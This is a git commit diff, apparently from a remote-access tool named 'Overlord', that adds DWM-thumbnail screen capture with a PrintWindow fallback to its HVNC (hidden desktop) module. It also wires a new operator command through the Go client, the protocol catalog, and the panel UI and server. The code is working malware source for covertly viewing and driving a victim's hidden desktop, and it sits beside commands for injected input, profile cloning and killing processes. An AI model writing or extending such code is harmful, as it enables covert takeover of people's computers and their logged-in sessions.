add DWM for HVNC with PrintWindow fallback

This commit is contained in:
KingKDot
2026-07-30 19:41:45 -05:00
parent d829864527
commit dfef3e012f
15 changed files with 763 additions and 7 deletions
@@ -0,0 +1,515 @@
//go:build windows
package capture
import (
"image"
"log"
"sync"
"sync/atomic"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
var (
dwmapi = windows.NewLazySystemDLL("dwmapi.dll")
procDwmRegisterThumbnail = dwmapi.NewProc("DwmRegisterThumbnail")
procDwmUnregisterThumbnail = dwmapi.NewProc("DwmUnregisterThumbnail")
procDwmUpdateThumbnailProperties = dwmapi.NewProc("DwmUpdateThumbnailProperties")
procDwmQueryThumbnailSourceSize = dwmapi.NewProc("DwmQueryThumbnailSourceSize")
procDWMCreateWindowExW = user32.NewProc("CreateWindowExW")
procDWMShowWindow = user32.NewProc("ShowWindow")
procDWMUpdateWindow = user32.NewProc("UpdateWindow")
backstageDWMStateMu sync.Mutex
backstageDWMHost uintptr
backstageDWMThumbnails map[uintptr]*backstageDWMThumbnail
backstageDWMOrder []uintptr
backstageDWMLastFallbackLogUnixNano atomic.Int64
backstageDWMLastPerfLogUnixNano atomic.Int64
backstageDWMLoggedActive atomic.Bool
)
const (
dwmTNPRectDestination = 0x00000001
dwmTNPRectSource = 0x00000002
dwmTNPVisible = 0x00000008
backstageDWMWSExTransparent = 0x00000020
backstageDWMWSExToolWindow = 0x00000080
backstageDWMWSExNoActivate = 0x08000000
backstageDWMWSDisabled = 0x08000000
backstageDWMWSVisible = 0x10000000
backstageDWMWSDisabledPopup = 0x80000000 | backstageDWMWSDisabled | backstageDWMWSVisible
backstageDWMSSBlackRect = 0x00000004
backstageDWMSWShowNoActivate = 4
backstageDWMHWNDBottom = 1
)
type dwmThumbnailProperties struct {
flags uint32
destination rect
source rect
opacity byte
_padding [3]byte
visible int32
sourceClientAreaOnly int32
}
type backstageDWMSize struct {
cx int32
cy int32
}
type backstageDWMThumbnail struct {
handle uintptr
size backstageDWMSize
}
type backstageDWMCandidate struct {
hwnd uintptr
windowRect rect
}
type backstageDWMPerf struct {
outputW int
outputH int
windows int
rebuilt bool
setup time.Duration
enumerate time.Duration
register time.Duration
update time.Duration
readback time.Duration
validate time.Duration
total time.Duration
success bool
failure string
}
func backstageIsDWMHost(hwnd uintptr) bool {
if hwnd == 0 {
return false
}
backstageDWMStateMu.Lock()
isHost := backstageDWMHost == hwnd
backstageDWMStateMu.Unlock()
return isHost
}
func drawbackstageStagingFromDWM(hdcMem uintptr, bounds image.Rectangle, outputW, outputH int, target []byte) (success bool) {
if hdcMem == 0 || bounds.Empty() || outputW <= 0 || outputH <= 0 {
return false
}
started := time.Now()
perf := backstageDWMPerf{outputW: outputW, outputH: outputH}
defer func() {
perf.success = success
perf.total = time.Since(started)
backstageLogDWMPerf(perf, bounds)
}()
backstageDWMStateMu.Lock()
defer backstageDWMStateMu.Unlock()
stageStarted := time.Now()
host := backstageEnsureDWMHostLocked(bounds, outputW, outputH)
perf.setup = time.Since(stageStarted)
if host == 0 {
perf.failure = "host"
backstageLogDWMFallback("staging window is unavailable")
return false
}
stageStarted = time.Now()
candidates := backstageCollectDWMCandidatesLocked(host, bounds)
perf.enumerate = time.Since(stageStarted)
perf.windows = len(candidates)
if len(candidates) == 0 {
perf.failure = "no_sources"
backstageLogDWMFallback("no source windows are available")
return false
}
order := make([]uintptr, len(candidates))
for index, candidate := range candidates {
order[index] = candidate.hwnd
}
if !backstageDWMOrdersEqual(backstageDWMOrder, order) {
perf.rebuilt = true
backstageUnregisterDWMThumbnailsLocked()
backstageDWMOrder = append(backstageDWMOrder[:0], order...)
}
if backstageDWMThumbnails == nil {
backstageDWMThumbnails = make(map[uintptr]*backstageDWMThumbnail)
}
registerStarted := time.Now()
updated := 0
for _, candidate := range candidates {
entry := backstageDWMThumbnails[candidate.hwnd]
if entry == nil {
entry = backstageRegisterDWMThumbnailLocked(host, candidate.hwnd)
if entry == nil {
continue
}
backstageDWMThumbnails[candidate.hwnd] = entry
}
}
perf.register = time.Since(registerStarted)
updateStarted := time.Now()
for _, candidate := range candidates {
entry := backstageDWMThumbnails[candidate.hwnd]
if entry == nil {
continue
}
destinationRect, sourceRect, ok := backstageDWMThumbnailRects(
candidate.windowRect,
bounds,
int(entry.size.cx),
int(entry.size.cy),
outputW,
outputH,
)
if !ok {
continue
}
properties := dwmThumbnailProperties{
flags: dwmTNPRectDestination | dwmTNPRectSource | dwmTNPVisible,
destination: destinationRect,
source: sourceRect,
opacity: 255,
visible: 1,
}
result, _, _ := procDwmUpdateThumbnailProperties.Call(
entry.handle,
uintptr(unsafe.Pointer(&properties)),
)
if int32(result) >= 0 {
updated++
}
}
perf.update = time.Since(updateStarted)
if updated == 0 {
perf.failure = "update"
backstageLogDWMFallback("no thumbnail relationships were updated")
return false
}
readbackStarted := time.Now()
if !printWindow(host, hdcMem, PW_RENDERFULLCONTENT) {
perf.readback = time.Since(readbackStarted)
perf.failure = "readback"
backstageLogDWMFallback("PrintWindow staging readback failed")
return false
}
perf.readback = time.Since(readbackStarted)
validateStarted := time.Now()
if !backstageDWMFrameHasContent(target) {
perf.validate = time.Since(validateStarted)
perf.failure = "empty"
backstageLogDWMFallback("PrintWindow staging readback was empty")
return false
}
perf.validate = time.Since(validateStarted)
if backstageDWMLoggedActive.CompareAndSwap(false, true) {
log.Printf("backstage dwm: staging thumbnail composite active (%d windows, %dx%d)", updated, outputW, outputH)
}
return true
}
func backstageEnsureDWMHostLocked(bounds image.Rectangle, outputW, outputH int) uintptr {
if backstageDWMHost == 0 {
className, err := syscall.UTF16PtrFromString("Static")
if err != nil {
return 0
}
title, err := syscall.UTF16PtrFromString("Overlord DWM Backstage Staging")
if err != nil {
return 0
}
host, _, _ := procDWMCreateWindowExW.Call(
backstageDWMWSExTransparent|backstageDWMWSExToolWindow|backstageDWMWSExNoActivate,
uintptr(unsafe.Pointer(className)),
uintptr(unsafe.Pointer(title)),
backstageDWMWSDisabledPopup|backstageDWMSSBlackRect,
uintptr(int32(bounds.Min.X)),
uintptr(int32(bounds.Min.Y)),
uintptr(int32(outputW)),
uintptr(int32(outputH)),
0,
0,
0,
0,
)
if host == 0 {
return 0
}
backstageDWMHost = host
procDWMShowWindow.Call(host, backstageDWMSWShowNoActivate)
procDWMUpdateWindow.Call(host)
}
procSetWindowPos.Call(
backstageDWMHost,
backstageDWMHWNDBottom,
uintptr(int32(bounds.Min.X)),
uintptr(int32(bounds.Min.Y)),
uintptr(int32(outputW)),
uintptr(int32(outputH)),
SWP_NOACTIVATE|SWP_SHOWWINDOW,
)
return backstageDWMHost
}
func backstageCollectDWMCandidatesLocked(host uintptr, bounds image.Rectangle) []backstageDWMCandidate {
var candidates []backstageDWMCandidate
hwnd := getTopWindow(0)
if hwnd != 0 {
hwnd = getWindow(hwnd, GW_HWNDLAST)
}
for hwnd != 0 {
next := getWindow(hwnd, GW_HWNDPREV)
if hwnd != host && isWindowVisible(hwnd) {
var windowRect rect
ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&windowRect)))
if ok != 0 &&
windowRect.right > windowRect.left &&
windowRect.bottom > windowRect.top &&
rectIntersectsImage(windowRect, bounds) {
candidates = append(candidates, backstageDWMCandidate{
hwnd: hwnd,
windowRect: windowRect,
})
}
}
hwnd = next
}
return candidates
}
func backstageRegisterDWMThumbnailLocked(host, source uintptr) *backstageDWMThumbnail {
var thumbnail uintptr
result, _, _ := procDwmRegisterThumbnail.Call(
host,
source,
uintptr(unsafe.Pointer(&thumbnail)),
)
if int32(result) < 0 || thumbnail == 0 {
return nil
}
var size backstageDWMSize
queryResult, _, _ := procDwmQueryThumbnailSourceSize.Call(
thumbnail,
uintptr(unsafe.Pointer(&size)),
)
if int32(queryResult) < 0 || size.cx <= 0 || size.cy <= 0 {
var windowRect rect
ok, _, _ := procGetWindowRect.Call(source, uintptr(unsafe.Pointer(&windowRect)))
if ok == 0 {
procDwmUnregisterThumbnail.Call(thumbnail)
return nil
}
size.cx = windowRect.right - windowRect.left
size.cy = windowRect.bottom - windowRect.top
}
return &backstageDWMThumbnail{handle: thumbnail, size: size}
}
func backstageDWMThumbnailRects(windowRect rect, bounds image.Rectangle, sourceW, sourceH, outputW, outputH int) (rect, rect, bool) {
winW := int(windowRect.right - windowRect.left)
winH := int(windowRect.bottom - windowRect.top)
boundsW := bounds.Dx()
boundsH := bounds.Dy()
if winW <= 0 || winH <= 0 || sourceW <= 0 || sourceH <= 0 ||
boundsW <= 0 || boundsH <= 0 || outputW <= 0 || outputH <= 0 {
return rect{}, rect{}, false
}
left := maxInt(int(windowRect.left), bounds.Min.X)
top := maxInt(int(windowRect.top), bounds.Min.Y)
right := minInt(int(windowRect.right), bounds.Max.X)
bottom := minInt(int(windowRect.bottom), bounds.Max.Y)
if right <= left || bottom <= top {
return rect{}, rect{}, false
}
destination := rect{
left: int32((left - bounds.Min.X) * outputW / boundsW),
top: int32((top - bounds.Min.Y) * outputH / boundsH),
right: int32(((right-bounds.Min.X)*outputW + boundsW - 1) / boundsW),
bottom: int32(((bottom-bounds.Min.Y)*outputH + boundsH - 1) / boundsH),
}
source := rect{
left: int32((left - int(windowRect.left)) * sourceW / winW),
top: int32((top - int(windowRect.top)) * sourceH / winH),
right: int32(((right-int(windowRect.left))*sourceW + winW - 1) / winW),
bottom: int32(((bottom-int(windowRect.top))*sourceH + winH - 1) / winH),
}
if source.right > int32(sourceW) {
source.right = int32(sourceW)
}
if source.bottom > int32(sourceH) {
source.bottom = int32(sourceH)
}
return destination, source, true
}
func rectIntersectsImage(windowRect rect, bounds image.Rectangle) bool {
return int(windowRect.right) > bounds.Min.X &&
int(windowRect.left) < bounds.Max.X &&
int(windowRect.bottom) > bounds.Min.Y &&
int(windowRect.top) < bounds.Max.Y
}
func backstageDWMOrdersEqual(left, right []uintptr) bool {
if len(left) != len(right) {
return false
}
for index := range left {
if left[index] != right[index] {
return false
}
}
return true
}
func backstageDWMFrameHasContent(frame []byte) bool {
if len(frame) < 4 {
return false
}
stepPixels := len(frame) / 4 / (128 * 128)
if stepPixels < 1 {
stepPixels = 1
}
step := stepPixels * 4
for offset := 0; offset+2 < len(frame); offset += step {
if frame[offset]|frame[offset+1]|frame[offset+2] != 0 {
return true
}
}
return false
}
func backstageEnsureDWMCompCache(w, h int) (uintptr, []byte, bool) {
if backstageCompHdcMem != 0 &&
backstageCompW == w &&
backstageCompH == h &&
backstageCompBits != nil {
return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true
}
if backstageCompHbmp != 0 {
deleteObject(backstageCompHbmp)
backstageCompHbmp = 0
}
if backstageCompHdcMem != 0 {
deleteDC(backstageCompHdcMem)
backstageCompHdcMem = 0
}
backstageCompBits = nil
backstageCompW = 0
backstageCompH = 0
screenDC := getDC(0)
if screenDC == 0 {
return 0, nil, false
}
backstageCompHdcMem = createCompatibleDC(screenDC)
releaseDC(0, screenDC)
if backstageCompHdcMem == 0 {
return 0, nil, false
}
info := bitmapInfo{
bmiHeader: bitmapInfoHeader{
biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})),
biWidth: int32(w),
biHeight: -int32(h),
biPlanes: 1,
biBitCount: 32,
biCompression: BI_RGB,
},
}
backstageCompHbmp = createDIBSection(
backstageCompHdcMem,
&info,
DIB_RGB_COLORS,
&backstageCompBits,
)
if backstageCompHbmp == 0 || backstageCompBits == nil {
deleteDC(backstageCompHdcMem)
backstageCompHdcMem = 0
backstageCompBits = nil
return 0, nil, false
}
selectObject(backstageCompHdcMem, backstageCompHbmp)
backstageCompW = w
backstageCompH = h
return backstageCompHdcMem, unsafe.Slice((*byte)(backstageCompBits), w*h*4), true
}
func backstageCleanupDWMThumbnails() {
backstageDWMStateMu.Lock()
defer backstageDWMStateMu.Unlock()
backstageUnregisterDWMThumbnailsLocked()
if backstageDWMHost != 0 {
procDWMShowWindow.Call(backstageDWMHost, 0)
}
backstageDWMHost = 0
}
func backstageUnregisterDWMThumbnailsLocked() {
for source, entry := range backstageDWMThumbnails {
procDwmUnregisterThumbnail.Call(entry.handle)
delete(backstageDWMThumbnails, source)
}
backstageDWMThumbnails = nil
backstageDWMOrder = nil
}
func backstageLogDWMFallback(reason string) {
now := time.Now().UnixNano()
last := backstageDWMLastFallbackLogUnixNano.Load()
if now-last < int64(5*time.Second) ||
!backstageDWMLastFallbackLogUnixNano.CompareAndSwap(last, now) {
return
}
log.Printf("backstage dwm: %s; using DXGI/PrintWindow fallback", reason)
}
func backstageLogDWMPerf(perf backstageDWMPerf, bounds image.Rectangle) {
if !captureMetricsEnabled() {
return
}
now := time.Now().UnixNano()
last := backstageDWMLastPerfLogUnixNano.Load()
if now-last < int64(5*time.Second) ||
!backstageDWMLastPerfLogUnixNano.CompareAndSwap(last, now) {
return
}
log.Printf(
"backstage dwm perf: success=%v failure=%s source=%dx%d output=%dx%d windows=%d rebuilt=%v setup=%s enum=%s register=%s update=%s readback=%s validate=%s total=%s",
perf.success,
perf.failure,
bounds.Dx(),
bounds.Dy(),
perf.outputW,
perf.outputH,
perf.windows,
perf.rebuilt,
perf.setup,
perf.enumerate,
perf.register,
perf.update,
perf.readback,
perf.validate,
perf.total,
)
}
@@ -0,0 +1,128 @@
//go:build windows
package capture
import (
"image"
"testing"
)
func TestBackstageDWMFrameHasContent(t *testing.T) {
tests := []struct {
name string
frame []byte
want bool
}{
{name: "nil", frame: nil, want: false},
{name: "short", frame: []byte{1, 2, 3}, want: false},
{name: "black", frame: make([]byte, 64), want: false},
{name: "alpha only", frame: []byte{0, 0, 0, 255}, want: false},
{name: "blue", frame: []byte{1, 0, 0, 0}, want: true},
{name: "green", frame: []byte{0, 1, 0, 0}, want: true},
{name: "red", frame: []byte{0, 0, 1, 0}, want: true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := backstageDWMFrameHasContent(tt.frame); got != tt.want {
t.Fatalf("backstageDWMFrameHasContent() = %v, want %v", got, tt.want)
}
})
}
}
func TestBackstageDWMThumbnailRects(t *testing.T) {
tests := []struct {
name string
window rect
bounds image.Rectangle
sourceW int
sourceH int
outputW int
outputH int
wantDest rect
wantSource rect
wantOK bool
}{
{
name: "fully visible",
window: rect{left: 100, top: 50, right: 500, bottom: 350},
bounds: image.Rect(0, 0, 1920, 1080),
sourceW: 400,
sourceH: 300,
outputW: 1920,
outputH: 1080,
wantDest: rect{left: 100, top: 50, right: 500, bottom: 350},
wantSource: rect{left: 0, top: 0, right: 400, bottom: 300},
wantOK: true,
},
{
name: "clipped left and top",
window: rect{left: -100, top: -50, right: 300, bottom: 250},
bounds: image.Rect(0, 0, 1920, 1080),
sourceW: 800,
sourceH: 600,
outputW: 1920,
outputH: 1080,
wantDest: rect{left: 0, top: 0, right: 300, bottom: 250},
wantSource: rect{left: 200, top: 100, right: 800, bottom: 600},
wantOK: true,
},
{
name: "outside",
window: rect{left: 2000, top: 100, right: 2200, bottom: 300},
bounds: image.Rect(0, 0, 1920, 1080),
sourceW: 200,
sourceH: 200,
outputW: 1920,
outputH: 1080,
wantOK: false,
},
{
name: "scaled output",
window: rect{left: 100, top: 50, right: 500, bottom: 350},
bounds: image.Rect(0, 0, 1920, 1080),
sourceW: 400,
sourceH: 300,
outputW: 960,
outputH: 540,
wantDest: rect{left: 50, top: 25, right: 250, bottom: 175},
wantSource: rect{left: 0, top: 0, right: 400, bottom: 300},
wantOK: true,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
dest, source, ok := backstageDWMThumbnailRects(
tt.window,
tt.bounds,
tt.sourceW,
tt.sourceH,
tt.outputW,
tt.outputH,
)
if ok != tt.wantOK {
t.Fatalf("ok = %v, want %v", ok, tt.wantOK)
}
if dest != tt.wantDest {
t.Fatalf("destination = %+v, want %+v", dest, tt.wantDest)
}
if source != tt.wantSource {
t.Fatalf("source = %+v, want %+v", source, tt.wantSource)
}
})
}
}
func TestBackstageDWMOrdersEqual(t *testing.T) {
if !backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 2, 3}) {
t.Fatal("matching order was reported as changed")
}
if backstageDWMOrdersEqual([]uintptr{1, 2, 3}, []uintptr{1, 3, 2}) {
t.Fatal("z-order change was not detected")
}
if backstageDWMOrdersEqual([]uintptr{1, 2}, []uintptr{1, 2, 3}) {
t.Fatal("window addition was not detected")
}
}
@@ -0,0 +1,22 @@
//go:build windows
package capture
import "testing"
func TestBackstagePrintWindowFallbackToggle(t *testing.T) {
SetbackstagePrintWindowFallbackEnabled(true)
t.Cleanup(func() { SetbackstagePrintWindowFallbackEnabled(true) })
if !GetbackstagePrintWindowFallbackEnabled() {
t.Fatal("PrintWindow fallback must be enabled by default")
}
SetbackstagePrintWindowFallbackEnabled(false)
if GetbackstagePrintWindowFallbackEnabled() {
t.Fatal("PrintWindow fallback did not disable")
}
SetbackstagePrintWindowFallbackEnabled(true)
if !GetbackstagePrintWindowFallbackEnabled() {
t.Fatal("PrintWindow fallback did not re-enable")
}
}
@@ -19,6 +19,10 @@ func SetbackstageDXGIEnabled(enabled bool) {}
func GetbackstageDXGIEnabled() bool { return false }
func SetbackstagePrintWindowFallbackEnabled(enabled bool) {}
func GetbackstagePrintWindowFallbackEnabled() bool { return false }
func SetbackstageUIAEnabled(enabled bool) {}
func GetbackstageUIAEnabled() bool { return false }
@@ -32,8 +32,8 @@ var (
procGetWindow = user32.NewProc("GetWindow")
procGetTopWindow = user32.NewProc("GetTopWindow")
procCreateProcessW = kernel32.NewProc("CreateProcessW")
procSendInputbackstage = user32.NewProc("SendInput")
procGetCursorPosbackstage = user32.NewProc("GetCursorPos")
procSendInputbackstage = user32.NewProc("SendInput")
procGetCursorPosbackstage = user32.NewProc("GetCursorPos")
procWindowFromPoint = user32.NewProc("WindowFromPoint")
procScreenToClient = user32.NewProc("ScreenToClient")
procPostMessageW = user32.NewProc("PostMessageW")
@@ -148,7 +148,7 @@ const (
GA_ROOT = 2
SMTO_ABORTIFHUNG = 0x0002
GWL_EXSTYLE = -20
GWL_EXSTYLE = -20
WS_EX_TOOLWINDOW = 0x00000080
)
@@ -377,6 +377,7 @@ func CleanupbackstageDesktop() {
defer backstageDesktopMu.Unlock()
backstageCleanupFrameReaders()
backstageCleanupDWMThumbnails()
backstageFreeCapCache()
@@ -592,6 +593,9 @@ func BackstageKillAll() error {
pids := make(map[uint32]struct{})
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
if backstageIsDWMHost(hwnd) {
return 1
}
var pid uint32
procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid)))
if pid != 0 {
@@ -891,6 +895,18 @@ func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) {
dstH = srcH
}
if dwmHDC, dwmBuf, ok := backstageEnsureDWMCompCache(dstW, dstH); ok {
for i := range dwmBuf {
dwmBuf[i] = 0
}
if drawbackstageStagingFromDWM(dwmHDC, bounds, dstW, dstH, dwmBuf) {
swapRB(dwmBuf)
img := GetRGBA(dstW, dstH)
copy(img.Pix, dwmBuf)
return img, nil
}
}
capW := srcW
capH := srcH
@@ -1312,7 +1328,7 @@ func foregroundWindow() uintptr {
func findAnyVisibleTopLevelWindow() uintptr {
hwnd := getTopWindow(0)
for hwnd != 0 {
if isWindowVisible(hwnd) {
if !backstageIsDWMHost(hwnd) && isWindowVisible(hwnd) {
return hwnd
}
hwnd = getWindow(hwnd, GW_HWNDNEXT)
@@ -1326,6 +1342,9 @@ func makeLParam(x, y int32) uintptr {
func windowFromPoint(pt point) uintptr {
ret, _, _ := procWindowFromPoint.Call(uintptr(*(*int64)(unsafe.Pointer(&pt))))
if backstageIsDWMHost(ret) {
return 0
}
return ret
}
@@ -1678,7 +1697,7 @@ func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, tar
drawn := 0
for hwnd != 0 {
if drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
if !backstageIsDWMHost(hwnd) && drawbackstageWindow(hdcScreen, hwnd, bounds, target, targetStride) {
drawn++
}
alive[hwnd] = true
@@ -1751,10 +1770,13 @@ var dxgiFrameBuf []byte
var backstageDXGIEnabled atomic.Bool
var backstageUIAEnabled atomic.Bool
var backstagePrintWindowFallbackEnabled atomic.Bool
var backstagePrintWindowFallbackLogNs atomic.Int64
func init() {
backstageDXGIEnabled.Store(false) // disabled by default
backstageUIAEnabled.Store(false) // disabled by default
backstagePrintWindowFallbackEnabled.Store(true)
}
func SetbackstageDXGIEnabled(enabled bool) {
@@ -1773,6 +1795,14 @@ func GetbackstageUIAEnabled() bool {
return backstageUIAEnabled.Load()
}
func SetbackstagePrintWindowFallbackEnabled(enabled bool) {
backstagePrintWindowFallbackEnabled.Store(enabled)
}
func GetbackstagePrintWindowFallbackEnabled() bool {
return backstagePrintWindowFallbackEnabled.Load()
}
func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
if !backstageDXGIEnabled.Load() {
return false
@@ -1847,6 +1877,9 @@ func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int,
}
func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool {
if backstageIsDWMHost(hwnd) {
return false
}
if !isWindowVisible(hwnd) {
return false
}
@@ -1875,6 +1908,15 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target
if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn {
return true
}
if !backstagePrintWindowFallbackEnabled.Load() {
now := time.Now().UnixNano()
last := backstagePrintWindowFallbackLogNs.Load()
if now-last > int64(5*time.Second) &&
backstagePrintWindowFallbackLogNs.CompareAndSwap(last, now) {
log.Printf("backstage capture: per-window PrintWindow fallback is disabled")
}
return false
}
// Use pooled DC+DIB from cache
entry := backstageGetOrCreateCache(hdcScreen, hwnd, winW, winH)
@@ -2048,6 +2090,9 @@ func BackstageEnumWindows() ([]BackstageWindowInfo, []BackstageMonitorInfo) {
var windows []rawWin
cb := syscall.NewCallback(func(hwnd, _ uintptr) uintptr {
if backstageIsDWMHost(hwnd) {
return 1
}
windows = append(windows, rawWin{hwnd: hwnd})
return 1
})
@@ -1298,6 +1298,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
capture.SetbackstageDXGIEnabled(dxgiEnabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_enable_printwindow_fallback":
payload, _ := envelope["payload"].(map[string]interface{})
enabled := true
if payload != nil {
if v, ok := payload["enabled"].(bool); ok {
enabled = v
}
}
log.Printf("backstage: per-window PrintWindow fallback %v", enabled)
capture.SetbackstagePrintWindowFallbackEnabled(enabled)
sendCommandResultSafe(env, cmdID, true, "")
return nil
case "backstage_enable_uia":
payload, _ := envelope["payload"].(map[string]interface{})
uiaEnabled := true
@@ -77,6 +77,7 @@ const (
CommandBackstageEnableDxgi CommandType = "backstage_enable_dxgi"
CommandBackstageEnableKeyboard CommandType = "backstage_enable_keyboard"
CommandBackstageEnableMouse CommandType = "backstage_enable_mouse"
CommandBackstageEnablePrintwindowFallback CommandType = "backstage_enable_printwindow_fallback"
CommandBackstageEnableUia CommandType = "backstage_enable_uia"
CommandBackstageInstalledApps CommandType = "backstage_installed_apps"
CommandBackstageKeyDown CommandType = "backstage_key_down"
@@ -286,6 +287,7 @@ var CommandTypes = [...]CommandType{
CommandBackstageEnableDxgi,
CommandBackstageEnableKeyboard,
CommandBackstageEnableMouse,
CommandBackstageEnablePrintwindowFallback,
CommandBackstageEnableUia,
CommandBackstageInstalledApps,
CommandBackstageKeyDown,
@@ -435,6 +437,7 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{
CommandBackstageEnableDxgi: {Min: 1, Max: 1},
CommandBackstageEnableKeyboard: {Min: 1, Max: 1},
CommandBackstageEnableMouse: {Min: 1, Max: 1},
CommandBackstageEnablePrintwindowFallback: {Min: 1, Max: 1},
CommandBackstageEnableUia: {Min: 1, Max: 1},
CommandBackstageInstalledApps: {Min: 1, Max: 1},
CommandBackstageKeyDown: {Min: 1, Max: 1},
@@ -6,7 +6,7 @@ func TestGeneratedWireContract(t *testing.T) {
if WireProtocolVersion != 1 {
t.Fatalf("unexpected wire protocol version: %d", WireProtocolVersion)
}
if len(CommandTypes) != 141 {
if len(CommandTypes) != 142 {
t.Fatalf("unexpected command count: %d", len(CommandTypes))
}
if len(CommandVersionSupport) != len(CommandTypes) {
@@ -117,6 +117,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
const statusEl = document.getElementById("streamStatus");
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
const uiaCtrl = document.getElementById("uiaCtrl");
const printWindowFallbackCtrl = document.getElementById("printWindowFallbackCtrl");
const backstageResolutionSelect = document.getElementById("backstageResolutionSelect");
const targetFpsSelect = document.getElementById("targetFpsSelect");
let whepClient = null;
@@ -132,6 +133,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (mouseCtrl) sendCmd("backstage_enable_mouse", { enabled: mouseCtrl.checked });
if (kbdCtrl) sendCmd("backstage_enable_keyboard", { enabled: kbdCtrl.checked });
if (uiaCtrl) sendCmd("backstage_enable_uia", { enabled: uiaCtrl.checked });
if (printWindowFallbackCtrl) {
sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
}
pushbackstageResolution();
}
let activeClientId = clientId;
@@ -186,6 +190,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
if (printWindowFallbackCtrl && typeof settings.printWindowFallback === "boolean") {
printWindowFallbackCtrl.checked = settings.printWindowFallback;
}
prefersH264 = false;
const cloneToggle = document.getElementById("backstageCloneToggle");
const cloneLiteToggle = document.getElementById("backstageCloneLiteToggle");
@@ -211,6 +218,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
keyboard: !!kbdCtrl?.checked,
clipboardSync: !!clipboardSyncCtrl?.checked,
uia: !!uiaCtrl?.checked,
printWindowFallback: printWindowFallbackCtrl?.checked !== false,
cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false,
cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true,
killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true,
@@ -1281,6 +1289,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
sharedSettingsSaver.scheduleSave();
});
}
if (printWindowFallbackCtrl) {
printWindowFallbackCtrl.addEventListener("change", function () {
sendCmd("backstage_enable_printwindow_fallback", { enabled: printWindowFallbackCtrl.checked });
sharedSettingsSaver.scheduleSave();
});
}
function pushbackstageResolution() {
if (backstageResolutionSelect) {
+3
View File
@@ -191,6 +191,9 @@
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Use UI Automation for WinUI3 app input (modern Windows apps). Disable if input is unreliable in non-WinUI3 apps.">
<input type="checkbox" id="uiaCtrl" /> UIA Support
</label>
<label class="flex items-center gap-2 text-sm text-slate-200 col-span-2" title="Allow the compatibility compositor to call PrintWindow on target applications when DWM staging and DXGI cannot provide a frame. DWM staging itself remains enabled.">
<input type="checkbox" id="printWindowFallbackCtrl" checked /> PrintWindow Fallback
</label>
</div>
</div>
@@ -140,6 +140,7 @@ export const COMMAND_TYPES = [
"backstage_enable_dxgi",
"backstage_enable_keyboard",
"backstage_enable_mouse",
"backstage_enable_printwindow_fallback",
"backstage_enable_uia",
"backstage_installed_apps",
"backstage_key_down",
@@ -305,6 +306,10 @@ export const COMMAND_VERSION_SUPPORT = {
"min": 1,
"max": 1
},
"backstage_enable_printwindow_fallback": {
"min": 1,
"max": 1
},
"backstage_enable_uia": {
"min": 1,
"max": 1
@@ -17,7 +17,7 @@ import {
describe("generated wire protocol contract", () => {
test("publishes the complete command catalog", () => {
expect(WIRE_PROTOCOL_VERSION).toBe(1);
expect(COMMAND_TYPES.length).toBe(141);
expect(COMMAND_TYPES.length).toBe(142);
expect(new Set(COMMAND_TYPES).size).toBe(COMMAND_TYPES.length);
expect(isCommandType("desktop_start")).toBe(true);
expect(isCommandType("virtual_window_list")).toBe(true);
@@ -347,6 +347,7 @@ function sanitizeSharedUiSettings(scope: string, raw: unknown): Record<string, u
assignIfDefined(out, "resolution", pickString(input.resolution, ["720", "1080", "1440", "-1"]));
assignIfDefined(out, "dxgi", pickBoolean(input.dxgi));
assignIfDefined(out, "uia", pickBoolean(input.uia));
assignIfDefined(out, "printWindowFallback", pickBoolean(input.printWindowFallback));
assignIfDefined(out, "cloneProfile", pickBoolean(input.cloneProfile));
assignIfDefined(out, "cloneLite", pickBoolean(input.cloneLite));
assignIfDefined(out, "killIfRunning", pickBoolean(input.killIfRunning));
@@ -1363,6 +1363,9 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
case "backstage_enable_dxgi":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_dxgi", { enabled: !!payload.enabled });
break;
case "backstage_enable_printwindow_fallback":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_printwindow_fallback", { enabled: !!payload.enabled });
break;
case "backstage_enable_uia":
if (state.isStreaming) sendbackstageCommand(target, "backstage_enable_uia", { enabled: !!payload.enabled });
break;
+1
View File
